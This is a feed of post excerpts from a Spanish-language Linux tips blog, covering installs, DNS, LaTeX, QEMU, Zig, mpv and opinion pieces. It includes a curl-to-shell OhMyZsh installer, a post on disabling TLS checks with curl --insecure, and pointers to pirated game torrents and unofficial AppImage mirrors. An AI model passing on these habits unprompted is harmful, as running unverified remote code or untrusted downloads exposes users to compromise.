<a href="https://github.com/dpayne/CodeGPT.nvim">https://github.com/dpayne/CodeGPT.nvim</a></p>
<h3 id="instalando-el-plugin-usando-packer">Instalando el plugin usando packer</h3>
<p>en init.lua agregar</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>use<span style="color:#f92672">(</span><span style="color:#e6db74">"nvim-lua/plenary.nvim"</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>use<span style="color:#f92672">(</span><span style="color:#e6db74">"MunifTanjim/nui.nvim"</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>use<span style="color:#f92672">(</span><span style="color:#e6db74">"dpayne/CodeGPT.nvim"</span><span style="color:#f92672">)</span>
</span></span></code></pre></div><h3 id="lista-de-comandos">Lista de comandos</h3>
<p><a href="https://github.com/dpayne/CodeGPT.nvim#commands">https://github.com/dpayne/CodeGPT.nvim#commands</a></p>
-
Cambiar DNS de forma permanente en Debian
https://imlauera.github.io/post/cambiar_dns_debian/
Thu, 09 Mar 2023 18:37:44 -0300
https://imlauera.github.io/post/cambiar_dns_debian/
<h3 id="una-forma-que-networkmanager-deje-de-agregar-servidores-dns-automaticamente">Una forma que NetworkManager deje de agregar servidores DNS automaticamente</h3>
<p>Una forma de detener que Network Manager agregue servidores DNS al archivo <code>/etc/resolv.conf</code> es hacer lo siguiente:</p>
<p>Primero abra el archivo de configuración de nm <code>/etc/NetworkManager/NetworkManager.conf</code>:</p>
<p><code>sudo vim /etc/NetworkManager/NetworkManager.conf</code>
Luego, agregue lo siguiente a la sección [main]:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>dns<span style="color:#f92672">=</span>none
</span></span><span style="display:flex;"><span>rc-manager<span style="color:#f92672">=</span>unmanaged
</span></span><span style="display:flex;"><span>Guarde y salga.
</span></span></code></pre></div><h3 id="una-forma-de-cambiar-los-dns-de-forma-permanente">Una forma de cambiar los DNS de forma permanente</h3>
<p><code>/etc/resolv.conf</code> es un enlace simbólico a <code>/run/resolvconf/resolv.conf</code>.
NetworkManager no actualiza directamente <code>/etc/resolv.conf</code> (solo actualiza <code>/run/resolvconf/resolv.conf</code>).
Entonces:</p>
-
Instalacion Minima De LaTeX en Ubuntu Y Distros De Debian Derivadas. Un poquito de Arch.
https://imlauera.github.io/post/instalacion-minima-de-latex-en-ubuntu-y-distros-de-debian-derivadas/
Tue, 07 Mar 2023 05:14:57 -0300
https://imlauera.github.io/post/instalacion-minima-de-latex-en-ubuntu-y-distros-de-debian-derivadas/
<h3 id="instalacion-base">Instalacion base</h3>
<p>Comenzá instalando texlive-latex-base usando el comando</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install texlive-latex-base
</span></span></code></pre></div><h3 id="en-arch">En Arch</h3>
<pre tabindex="0"><code>sudo pacman -S texlive-basic
sudo pacman -S texlive-basic texlive-latex texlive-latexrecommended texlive-fontsrecommended texlive-pictures texlive-luatex
</code></pre><p>Luego intente compilar el archivo latex usando el comando</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>pdflatex nombre_archivo.tex
</span></span></code></pre></div><p>Si TeX se queja de que faltan archivos, usa apt-file search para buscar e instalar el archivo faltante, por ejemplo cuando intente compilar mi documento me tiraba un error de este tipo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>! LaTeX Error: File <span style="color:#e6db74">`</span>xcolor.sty<span style="color:#960050;background-color:#1e0010">'</span> not found.
</span></span></code></pre></div><h3 id="buscando-archivos-faltantes">Buscando archivos faltantes</h3>
<p>Entonces para instalar el archivo faltante primero buscamos en que paquete esta disponible y luego instalamos el paquete con <code>apt install</code></p>
-
Comandos de consola para obtener informacion del hardware en Linux
https://imlauera.github.io/post/comandos-info-linux/
Fri, 03 Mar 2023 19:40:57 -0300
https://imlauera.github.io/post/comandos-info-linux/
<h3 id="lshw">lshw</h3>
<p>lshw es una pequeña herramienta para extraer información detallada sobre la configuración de hardware de la máquina, puede informar la memoria exacta, configuración de memoria, versión de firmware, configuración de placa base, versión y velocidad de CPU, configuración de caché, velocidad de bus, etc.</p>
<pre tabindex="0"><code>sudo lshw
</code></pre><h3 id="lscpu">lscpu</h3>
<p>Muestra informacion sobre la arquitectura del CPU.</p>
<pre tabindex="0"><code>sudo lscpu
</code></pre><h3 id="inxi">inxi</h3>
<p>Muestra informacion sobre la CPU, placa madre, placa de video, de audio, de red, bluetooth, bateria.</p>
-
Usando Alpine Linux Como Desktop
https://imlauera.github.io/post/usando-alpine-como-desktop/
Sat, 19 Nov 2022 18:18:06 -0300
https://imlauera.github.io/post/usando-alpine-como-desktop/
<h3 id="introducción">Introducción</h3>
<p>Alpine Linux es una distro extremadamente ligera, tan ligera que no se puede considerar GNU/Linux. Alpine viene sin sytemd usa OpenRC y el software se compila usando Musl en lugar de la biblioteca C de GNU (Libc), y sustituye las herramientas GNU por Busybox, <a href="https://www.genbeta.com/herramientas/busybox-ejecutable-que-agrupa-casi-200-utilidades-gnu-linea-comandos-que-puedes-usar-tambien-windows-android">un único ejecutable capaz de emular el funcionamiento de todas ellas</a>.</p>
<h3 id="instalación">Instalación</h3>
<p>Busybox es un único ejecutable, ingeniosamente diseñado para reutilizar tanto como sea posible internamente y simular aplicaciones independientes por medio de enlaces simbólicos. No tienen mucho en común.</p>
-
Como Instalar Qemu Kvm Virt Manager
https://imlauera.github.io/post/como_instalar_qemu_kvm_virtmanager_linux/
Sat, 19 Nov 2022 07:27:30 -0300
https://imlauera.github.io/post/como_instalar_qemu_kvm_virtmanager_linux/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y virt-manager qemu qemu-kvm libvirt-daemon-system bridge-utils libvirt0 qemu-utils
</span></span></code></pre></div><p>Después de instalar libvirt-daemon-system, el usuario utilizado para administrar máquinas virtuales deberá agregarse al grupo libvirt. Esto se hace automáticamente para los miembros del grupo sudo, pero debe hacerse además para cualquier otra persona que deba acceder a los recursos libvirt de todo el sistema. Al hacerlo, el usuario tendrá acceso a las opciones de red avanzadas.</p>
<p>Luego de reiniciar, ejecutar:</p>
-
Como Instalar Qemu Kvm y Virt Manager
https://imlauera.github.io/post/como-instalar-qemu-kvm-virt-manager/
Sat, 19 Nov 2022 07:27:30 -0300
https://imlauera.github.io/post/como-instalar-qemu-kvm-virt-manager/
<h3 id="instalación">Instalación</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y virt-manager qemu qemu-system-x86 libvirt-daemon-system bridge-utils libvirt0 qemu-utils
</span></span></code></pre></div><p>Después de instalar libvirt-daemon-system, el usuario utilizado para administrar máquinas virtuales deberá agregarse al grupo libvirt. Esto se hace automáticamente para los miembros del grupo sudo, pero debe hacerse además para cualquier otra persona que deba acceder a los recursos libvirt de todo el sistema. Al hacerlo, el usuario tendrá acceso a las opciones de red avanzadas.</p>
<h3 id="agrega-tu-usuario-al-grupo-libvirt">Agrega tu usuario al grupo libvirt</h3>
<p>Luego de reiniciar, ejecutar:</p>
-
Interesantes comandos de Bash
https://imlauera.github.io/post/interesantes-comandos-bash/
Sat, 19 Nov 2022 01:54:18 -0300
https://imlauera.github.io/post/interesantes-comandos-bash/
<p>Descomprimir <code>tar xvf file.tar.gz</code><br>
Descomprimir en una carpeta: <code>tar xvf file.tar.gz -C some_custom_folder_name</code><br>
Comprimir carpeta con tar: <code>tar czvf name-of-archive.tar.gz stuff</code><br>
Comprimir multiples carpetas o archivos: <code>tar czvf archive.tar.gz /home/ubuntu/Downloads /usr/local/stuff /home/ubuntu/Documents/notes.txt</code></p>
<p>Listar el más reciente por último y el más viejo primero</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ls -ltr
</span></span></code></pre></div><p>Un chiste clásico:</p>
<h4 id="instalar-ohmyzsh">Instalar OhMyZsh</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sh -c <span style="color:#e6db74">"</span><span style="color:#66d9ef">$(</span>curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh<span style="color:#66d9ef">)</span><span style="color:#e6db74">"</span>
</span></span></code></pre></div><h4 id="instalar-yt-dlp">Instalar yt-dlp</h4>
<p>yt-dlp es un fork mejorado de YouTube-dl</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo curl -L https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp -o /usr/local/bin/yt-dlp
</span></span><span style="display:flex;"><span>sudo chmod a+rx /usr/local/bin/yt-dlp <span style="color:#75715e"># Hacerlo ejecutable </span>
</span></span></code></pre></div><p>Mirar videos/streams de Twitch, YouTue, Vimeo, y un monton paginas mas con MPV usando yt-dlp: <code>yt-dlp -F url_del_directo_o_video_youtube</code> para ver los formatos disponibles.</p>
-
Como correr casi cualquier juego en GNU/Linux
https://imlauera.github.io/post/como-instalar-casi-cualquier-juego-linux/
Wed, 16 Nov 2022 05:46:20 -0300
https://imlauera.github.io/post/como-instalar-casi-cualquier-juego-linux/
<p>Primero tenes plataforma como Lutris y PlayOnLinux que son facilmente instalables ejecutando</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y lutris playonlinux
</span></span></code></pre></div><p>O en el caso de distros derivadas de Arch</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S lutris playonlinux
</span></span></code></pre></div><p>o en fedora usando el gestor de paquetes: dnf</p>
<p>Después tenés emuladores de PlayStation 2 (PCSX2),3(RPCS3) y emulador de Gamecube(Dolphin) (hay juegos que tiran mas fps en Dolphin (Gamecube) que en el emulador de PS2). Si con eso no te basta podes buscar “linux” en la categoría de Games en <a href="https://1337x.to">1337x</a>. Y te van a aparecer un listado de torrents de juegos hechos por un tipo de nickname johncena141, pero para correr estos juegos necesitas instalar dependencias y seguir el siguiente setup (aunque hay algunos que corren sin necesidad de hacer nada):</p>
-
Porqué Linux Es Superior
https://imlauera.github.io/post/porque-linux-es-superior/
Wed, 16 Nov 2022 02:13:52 -0300
https://imlauera.github.io/post/porque-linux-es-superior/
<p>Cada día es más fácil pasarse a una distro de GNU/Linux por que la mayoría de personas tienen sus necesidades satisfechas simplemente usando un navegador web además el soporte para hardware es gigante <strong>incluso las impresoras están mejores soportas que en Windows</strong>. Además es muchísimo más cómodo programar en GNU/Linux que en Windows.</p>
<p>El código del kernel Linux es superior al de Windows y al de Mac.
En las distros de GNU/Linux los programas se instalan desde los repositorios oficiales, no como en Windows que vas googleando y bajas un instalador de una página aleatoria injunable, bueno ahora hay una <del>Windows Store</del> pero igual sigue siendo una cagada nada se compara a la calidade software que tiene GNU/Linux porque los programas que están disponibles en los repositorios son constantemente auditados y filtrados por hackers, esto le da a GNU/Linux una inmensa ventaja en términos de seguridad. Por ejemplo cuando MySQL se convirtió en parte de Oracle automaticamente los hackers que mantenian los repositorios lo reemplazaron por <a href="https://www.ionos.es/digitalguide/hosting/cuestiones-tecnicas/mariadb-vs-mysql/">MariaDB</a> que es un fork de MySQL pero prioriza el desarrollo abierto. O cuando Oracle compró Sun y adquirió OpenOffice la comunidad de hackers de GNU/Linux temía a que se vuelva código cerrado y automáticamente fue reemplazado por LibreOffice en los repositorios oficiales de las distros.</p>
-
Como Conectarse Lokinet en GNU/Linux
https://imlauera.github.io/post/como-conectarse-lokinet-en-gnulinux/
Fri, 04 Nov 2022 06:09:49 -0300
https://imlauera.github.io/post/como-conectarse-lokinet-en-gnulinux/
<h3 id="que-es-lokinet">Que es Lokinet?</h3>
<p>Lokinet es una red superpuesta de Internet descentralizada que es similar a la red Tor. Algunas redes de superposición de Internet, incluida la red Tor, se conocen más comúnmente como “dark networks” o “darknets”. Estos nombres tienen connotaciones negativas que considero injustificadas. Según mi experiencia, navegar en una de las llamadas redes oscuras generalmente no es más peligroso que navegar en Internet normal. Es poco probable que la mayoría de los usuarios se encuentren con actividad delictiva a menos que la estén buscando, y el resto simplemente puede abandonar cualquier sitio sospechoso con el que pueda tropezar. Además de navegar por Lokinet y utilizar sus servicios, los usuarios de Lokinet también pueden crear sus propios sitios y servicios sin el permiso de una autoridad central como la ICANN. El software Lokinet se ejecuta en computadoras con Windows, Linux y OSX.</p>
-
WebP es mejor que JPEG y PNG
https://imlauera.github.io/post/webp-vs-jpg-png/
Fri, 04 Nov 2022 04:08:47 -0300
https://imlauera.github.io/post/webp-vs-jpg-png/
<p><img src="https://imlauera.github.io/img/webp.png" alt="webp logo"></p>
<h3 id="un-formato-de-imagen-para-la-web">Un formato de imagen para la Web</h3>
<p>WebP es un formato de imagen moderno que proporciona una compresión superior sin pérdidas y con pérdidas para imágenes en la web. Con WebP, los desarrolladores web pueden crear imágenes más pequeñas y ricas que hacen que la web sea más rápida.</p>
<p>Las imágenes sin pérdida de WebP son un 26% más pequeñas en comparación con las imágenes PNG. Las imágenes con pérdida WebP son un 25-34% más pequeñas que las imágenes JPEG comparables con un índice de calidad <a href="https://en.wikipedia.org/wiki/Structural_similarity">SSIM</a> equivalente.</p>
-
Systemd es malo para GNU/Linux
https://imlauera.github.io/post/por-que-systemd-es-malo/
Wed, 02 Nov 2022 08:38:19 -0300
https://imlauera.github.io/post/por-que-systemd-es-malo/
<p><img src="https://imlauera.github.io/img/systemd.png" alt="systemd logo"></p>
<p>No es malo en sí, el problema es que es un monolito que sigue agregando utilidades que reemplazan el trabajo de otra herramienta. Debido a que es tan omnipresente, los desarrolladores de software comienzan a escribir aplicaciones que dependen de systemd en lugar de los estándares (o al menos convenciones que no son del todo estándares).</p>
<p>Por ejemplo, la gente comienza a escribir software usando temporizadores systemd en lugar de cronjobs, y ahora ya no es portátil en sistemas Unix, o incluso en distribuciones Linux, es solo compatible con Linux con systemd.</p>
-
Elon Musk quiere que pagues 8 dolares al mes para mantener la verificacion azul
https://imlauera.github.io/post/twitter_pagar_8_dolares_mes/
Wed, 02 Nov 2022 07:55:35 -0300
https://imlauera.github.io/post/twitter_pagar_8_dolares_mes/
<h3 id="tweet">Tweet</h3>
<p><img src="https://imlauera.github.io/img/elon_musk_8_dollars.png" alt="Elon Musk Tweet"></p>
<h3 id="traduccion">Traduccion:</h3>
<blockquote>
<p>El sistema actual para ver quién tiene o no una marca de verificación azul es una mierda. ¡Poder para la gente! Verificacion Azul por $8/mes.
Precio ajustado por país proporcional a la paridad del poder adquisitivo
También obtendrá:</p>
<ul>
<li>Prioridad en respuestas, menciones y búsqueda, lo cual es esencial para derrotar el spam/estafa</li>
<li>Posibilidad de publicar videos y audios largos</li>
<li>La mitad de anuncios</li>
</ul>
</blockquote>
<p>Supuestamente es para detener el spam y las estafas.</p>
-
iOS Bloquea Acceso a Servidores Con Restriccion De Edad De Discord
https://imlauera.github.io/post/ios-bloquea-acceso-a-servidores-con-restriccion-de-edad-de-discord/
Wed, 02 Nov 2022 07:33:35 -0300
https://imlauera.github.io/post/ios-bloquea-acceso-a-servidores-con-restriccion-de-edad-de-discord/
<p><img src="https://imlauera.github.io/img/discord_iOS_restringido.jpg" alt="ios-discord-servidor-restringido"></p>
<p>Y previamente habia leido que banearon las VPNs desde la AppStore.</p>
-
El nuevo diseño de YouTube empeoro
https://imlauera.github.io/post/youtube_empeoro/
Wed, 02 Nov 2022 01:44:21 -0300
https://imlauera.github.io/post/youtube_empeoro/
<p><img src="https://imlauera.github.io/img/youtube_ugly.png" alt="youtube-ugly-design">
Previamente a esto habian eliminado los dislikes y ahora YouTube ya no permite ordenar la lista de videos de los canales de forma cronológica, por ejemplo para canales que tienen muchos videos era útil la opcion de ordenar los videos mas antiguos al mas reciente. Ahora te obliga a ver los videos mas <strong>populares</strong>.
Ademas de eso tiene esos bordes redondos feos, y es mas lento que la version anterior.</p>
-
Instalacion y Hola Mundo en Zig
https://imlauera.github.io/post/zig_programming_language/
Wed, 02 Nov 2022 01:44:21 -0300
https://imlauera.github.io/post/zig_programming_language/
<h2 id="instalación">Instalación</h2>
<p>Lo descargan desde <a href="https://ziglang.org/download/">https://ziglang.org/download/</a>
Descomprimen el tar.xz con</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ tar -xvf nombre_del_archivo.tar.xz
</span></span></code></pre></div><p>En este caso descargaremos e instalaremos la ultima version que es la 0.11.0 puede ser que al momento que usted este leyendo esta publicacion exista una nueva version.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ cd ~
</span></span><span style="display:flex;"><span>$ wget https://ziglang.org/builds/zig-linux-x86_64-0.11.0-dev.11+0d192ee9e.tar.xz -O zig.tar.xz <span style="color:#f92672">&&</span> tar -xvf zig.tar.xz
</span></span></code></pre></div><p>Luego solo basta con linkearlo desde /usr/bin para agregarlo al PATH usando ln</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ cd /usr/bin
</span></span><span style="display:flex;"><span>$ sudo ln -s ~/zig-linux-x86_64-0.11.0-dev.11+0d192ee9e/zig zig
</span></span></code></pre></div><p>O si usan un distro como Arch o derivada de Arch</p>
-
Copilot fue hecho para robar codigo, ¿el fin de la programacion web?
https://imlauera.github.io/post/sobre_copilot/
Thu, 20 Oct 2022 00:00:00 +0000
https://imlauera.github.io/post/sobre_copilot/
<h2 id="robo-de-codigo">Robo de codigo</h2>
<p>GitHub Copilot se creó a partir del robo de código en Github, ignorando las licencias establecidas en repositorios como, por ejemplo, GPLv2, usando IA como un truco para el código de lavado de licencias.
Copilot ha anunciado sus planes para convertirse en un servicio de pago.</p>
<p>Por lo tanto, este producto que no sería posible sin el código público de código abierto será en sí mismo no público, de código cerrado y de datos cerrados. Está extrayendo valor de los bienes comunes y canalizándolo a una empresa privada.</p>
-
curl --insecure
https://imlauera.github.io/post/curl_insecure/
Thu, 20 Oct 2022 00:00:00 +0000
https://imlauera.github.io/post/curl_insecure/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl --insecure
</span></span></code></pre></div><p>Si está intentando acceder a un sitio web a través de la URL https y curl le muestra que el certificado ha caducado o que no es de confianza.</p>
<p>¡Buenas noticias! Todavía puede anular este comportamiento ejecutando curl con la línea de comando –insecure.</p>
<p>Ejemplo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl --insecure https://imlauera.github.io
</span></span></code></pre></div><p><em>ADVERTENCIA</em> ¡asegúrese de saber lo que está haciendo! esto es especialmente cierto para saber a qué sitio web está intentando acceder. Puede estar bien ignorar las advertencias de SSL para un entorno de desarrollo local en su computadora portátil o para acceder a URL internas en su infraestructura privada. Pero cualquier cosa en la Internet pública que le brinde una advertencia de SSL debe revisarse antes de que progrese.</p>
-
El estado actual de soporte de hardware en FreeBSD
https://imlauera.github.io/post/2022-10-03-el-estado-actual-de-soporte-de-hardware-en-freebsd/
Mon, 03 Oct 2022 23:06:00 -0300
https://imlauera.github.io/post/2022-10-03-el-estado-actual-de-soporte-de-hardware-en-freebsd/
<p><img src="https://imlauera.github.io/img/freebsd_linuxvm.png" alt="freebsd-no-soporta-drivers-linux-vm"></p>
<p>Como mi placa de red no esta soportada en FreeBSD, me sugieren instalar una máquina virtual Linux y usarla como router para poder tener WiFi en FreeBSD.</p>
-
Guia de armado de una computadora
https://imlauera.github.io/post/2022-08-07-construir-una-computadora/
Sun, 07 Aug 2022 10:25:00 -0300
https://imlauera.github.io/post/2022-08-07-construir-una-computadora/
<p>La creación de su propio escritorio permite una mayor personalización y control. Vale la pena el tiempo y el esfuerzo que dedicará a planificar, comprar y construir su propia computadora de escritorio en lugar de comprar una máquina ensamblada.
<!-- raw HTML omitted --></p>
<h2 id="construyendo-un-escritorio">Construyendo un escritorio</h2>
<p>Ensamblar todos los componentes que decida comprar para construir su PC debería tomar, en promedio, alrededor de un día para un constructor primerizo. Esta estimación de tiempo variará en gran medida según la cantidad de investigación que haya realizado y los componentes que haya elegido.</p>
-
No instales xq, solo yq
https://imlauera.github.io/post/2022-07-13-no-instales-xq-solo-yq/
Wed, 13 Jul 2022 09:24:22 -0300
https://imlauera.github.io/post/2022-07-13-no-instales-xq-solo-yq/
<p>Hace un tiempo estaba usando xq para convertir XML to JSON.
Un par de meses despues decidi retomar el proyecto y al querer instalar xq de nuevo me encontre con que el paquete no estaba disponible en los repositorios oficiales de debian ejecutando:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install xq
</span></span></code></pre></div><p>entonces probe instalarlo ejecutando</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pip install xq
</span></span></code></pre></div><p>Pero me di cuenta que era una version viejisima y no funcionaban los comandos que habia hecho anteriormente. Asi que NO LO INSTALES.</p>
-
Usando MPV para mirar videos en PC's de bajos recursos, subir volumen a mas del maximo
https://imlauera.github.io/post/2022-07-12-usando-mpv-para-mirar-videos-en-pc-s-de-bajos-recursos/
Tue, 12 Jul 2022 09:39:57 -0300
https://imlauera.github.io/post/2022-07-12-usando-mpv-para-mirar-videos-en-pc-s-de-bajos-recursos/
<h3 id="subir-el-volumen">Subir el volumen</h3>
<p>Yes, either by supplying –volume-max=300 as a command line argument, or by adding volume-max=300 as a line in your mpv.conf to make the change permanent. Ctrl+f volume-max in the mpv manual for the description of this option.</p>
<p>Baja resolución no implica menor consumo de ancho de banda pero si menor consumo de recursos. En vez de mirar el video en 360p si tenés una computadora lenta podés usar 480p AV1 o 480p VP9, el consumo de ancho de banda depende del codec usado.</p>
-
Calcular costo de envio CorreoArgentino
https://imlauera.github.io/post/2022-07-12-como-calcular-costo-de-envio-correoargentino/
Tue, 12 Jul 2022 09:08:57 -0300
https://imlauera.github.io/post/2022-07-12-como-calcular-costo-de-envio-correoargentino/
<p>Es increíble que el servicio de paqueteria ecommerse (paq.ar) de CorreoArgentino todavia no haya desarrollado una API para calcular el costo de envío a diferentes partes del país, en lugar de una API te dan un PDF en donde se muestran dos tablas; una tabla tiene los diferentes pesos del producto, las zonas y sus respetivos precios y la otra con el país de origen y de destino y las diferentes zonas correspondientes.</p>
-
Jugar Counter Strike 1.6 en GNU/Linux
https://imlauera.github.io/post/como_jugar_counter_strike16_linux/
Sat, 11 Jun 2022 05:44:03 -0300
https://imlauera.github.io/post/como_jugar_counter_strike16_linux/
<p>Esta publicación quedó vieja si querés saber como jugar tenés que bajar el appimage desde acá: <a href="https://de.linuxgame.cn/%E5%8F%8D%E6%81%90%E7%B2%BE%E8%8B%B1/cstrike_1.6_i386.appimage">https://de.linuxgame.cn/%E5%8F%8D%E6%81%90%E7%B2%BE%E8%8B%B1/cstrike_1.6_i386.appimage</a> o <a href="https://t.me/appimage_hub/37">https://t.me/appimage_hub/37</a>
Si te tira el siguiente error:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>└─$ ./cstrike_1.6_i386.appimage
</span></span><span style="display:flex;"><span>Error:libGL.so.1: wrong ELF class: ELFCLASS64
</span></span><span style="display:flex;"><span>Could not load hw.so.
</span></span><span style="display:flex;"><span>Please try again at a later time.done
</span></span></code></pre></div><p>Tenés que agregar la arquitectura i386 para poder bajar la librería faltante que es libgl pero de 32 bits así:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo dpkg --add-architecture i386
</span></span><span style="display:flex;"><span>sudo apt update
</span></span><span style="display:flex;"><span>sudo apt install libgl1:i386
</span></span></code></pre></div><p>Bajen cualquier instalador , ejecutenlo con wine y luego abran una terminal muevanse a la ubicacion <code>~/.wine/drive_c/Program Files (x86)/CounterStrike.16/</code> que es la ubicacion por defecto en donde instala el programa</p>
-
Sobre DuckDuckGo
https://imlauera.github.io/post/2021-01-02-sobre-duckduckgo/
Fri, 31 Dec 2021 10:39:57 -0300
https://imlauera.github.io/post/2021-01-02-sobre-duckduckgo/
<p>Motivos por los cuales uso DDG como buscador por defecto:</p>
<ol>
<li>OpenSource.</li>
<li>DuckDuckGo no recopila ni comparte tu información, y no ofrece resultados "promovidos", la publicidad que muestra no es personalizada y va destinada al financiamiento del proyecto.</li>
<li>Es configurable, se puede cambiar la apariencia, los colores, fuentes y temas a usar.</li>
<li>Te brinda una respuesta rápida de la búsqueda sin necesidad de acceder a la sitio.</li>
<li>Podés reproducir videos de YouTube externamente.</li>
<li>Podés usar comandos <strong>bangs</strong>, que son atajos para usar los buscadores de sitios externos, más abajo doy algunos ejemplos.</li>
</ol>
<p>Antes de seguir, <!-- raw HTML omitted -->te recomiendo que vayas a las preferencias de tu navegador y buscá por duckduckgo<!-- raw HTML omitted -->
(la mayoría de navegadores como <!-- raw HTML omitted -->Chrome<!-- raw HTML omitted -->, <!-- raw HTML omitted -->Firefox<!-- raw HTML omitted -->, <!-- raw HTML omitted -->WaterFox<!-- raw HTML omitted -->, <!-- raw HTML omitted -->Opera<!-- raw HTML omitted -->, <!-- raw HTML omitted -->Brave<!-- raw HTML omitted --> ya lo tienen incorporado), y cambiá el buscador por defecto a DuckDuckgo.</p>
-
Texto a Voz en GNU/Linux
https://imlauera.github.io/post/2021-04-19-texto-a-voz-en-gnu-linux/
Mon, 19 Apr 2021 14:49:57 -0300
https://imlauera.github.io/post/2021-04-19-texto-a-voz-en-gnu-linux/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install festival festival-doc festvox-kdlpc16k festvox-ellpc11k
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Hello, world!"</span> | festival --tts
</span></span></code></pre></div><p>Podes agregar <code>links -dump -width 512 $1 | tr "\n\ r" " " | festival --tts</code> como un navegador externo en w3m y te leerá la página ejecutando <code>Escape + número de casilla + M</code>.</p>
<h4 id="paquetes-de-voces">Paquetes de voces:</h4>
<p><code>festvox-kdlpc16k</code>: Voz masculina de inglés americano para Festival. <br>
<code>festvox-ellpc11k</code>: Voz masculiona de castellano español para Festival.</p>
<p>Si querés más voces podés buscarlas con el siguiente comando
<code>sudo apt search festvox-</code> en ArchLinux sería usando <code>yay</code> con cualquier otra herramienta que soporte AUR.</p>
-
Intercambiando canales de audio en PulseAudio
https://imlauera.github.io/post/2021-02-27-intercambiando-canales-de-audio-en-pulseaudio/
Sat, 27 Feb 2021 17:57:57 -0300
https://imlauera.github.io/post/2021-02-27-intercambiando-canales-de-audio-en-pulseaudio/
<p>Editar el archivo: <code>/usr/share/pulseaudio/alsa-mixer/profile-sets/default.conf</code></p>
